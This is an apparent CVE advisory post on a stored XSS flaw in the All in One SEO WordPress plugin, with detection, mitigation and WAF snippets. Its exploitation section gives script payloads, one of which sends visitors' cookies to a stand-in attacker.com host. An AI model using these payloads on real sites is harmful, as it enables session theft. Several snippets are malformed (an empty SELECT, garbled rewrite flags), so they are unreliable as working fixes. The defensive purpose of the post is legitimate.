Listen to this Post
How CVE-2025-2892 Works
The vulnerability exists in the All in One SEO plugin (versions ≤ 4.8.1.1) due to improper sanitization of user-supplied input in the Meta Description and Canonical URL fields. When a Contributor+ role user injects malicious JavaScript payloads into these fields, the script persists in the database. Upon rendering the affected post/page, the payload executes in visitors’ browsers, enabling session hijacking, defacement, or malware distribution. The attack requires no user interaction beyond viewing the compromised page.
DailyCVE Form
Platform: WordPress
Version: ≤ 4.8.1.1
Vulnerability: Stored XSS
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 06/20/2025
What Undercode Say:
Exploitation
// Example payload for Meta Description document.write('<img src=x onerror=alert(document.cookie)>'); // Canonical URL exploitation "><script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>
Detection
Grep vulnerable versions wp plugin list | grep "all-in-one-seo-pack" | grep -E "4.8.1.1|lower" Curl check for unescaped output curl -s http://target.com/affected-post/ | grep -E "meta description.[><]"
Mitigation
// Temporary fix: Add input sanitization add_filter('aioseo_meta_description', 'wp_kses_post'); add_filter('aioseo_canonical_url', 'esc_url_raw'); .htaccess rule to block suspicious meta tags RewriteCond %{QUERY_STRING} (<|%3C).script.(>|%3E) [bash] RewriteRule ^ - [bash]
Analytics
-- Find compromised posts SELECT FROM wp_postmeta WHERE meta_key IN ('_aioseo_description', '_aioseo_canonical_url') AND meta_value REGEXP '[<>]';
Patch Verification
Post-update check diff <(strings old/aioseop_class.php) <(strings new/aioseop_class.php) | grep "sanitize_text_field"
WAF Rule
location ~ /wp-content/plugins/all-in-one-seo-pack/ { modsecurity_rules 'SecRule ARGS "@rx [<>]" "id:1005,deny,status:403,msg:XSS Attempt"'; }
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode